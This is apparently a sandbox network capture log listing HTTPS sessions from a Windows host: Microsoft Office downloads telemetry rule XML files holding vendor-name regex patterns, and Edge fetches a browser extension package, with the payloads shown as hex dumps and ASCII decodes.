2024-11-23 23:06:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230642Z-178bfbc474bpscmfhC1NYCfc2c00000003ng00000000h918 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:42 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230642Z-15b8b599d886w4hzhC1TEBb4ug00000003n000000000cthr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:42 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:42 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230642Z-15b8b599d88wk8w4hC1TEB14b800000003k000000000fqae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:43 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230644Z-178bfbc474bp8mkvhC1NYCzqnn00000004v000000000nbrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:43 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230644Z-174c587ffdfp4vpjhC1TEBybqw00000003kg00000000cevm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:43 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230644Z-178bfbc474bv587zhC1NYCny5w000000053g000000000d6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49820	142.250.181.65	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:44 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6yVOwyk7g1jiqsmfjA01qhSbaMtE9VtJmsX1G6BySuuC0waZlyNBEBa1DRoPAH67Pj62KIAH14mg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sat, 23 Nov 2024 16:45:00 GMT Expires: Sun, 23 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 22904 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 23:06:44 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
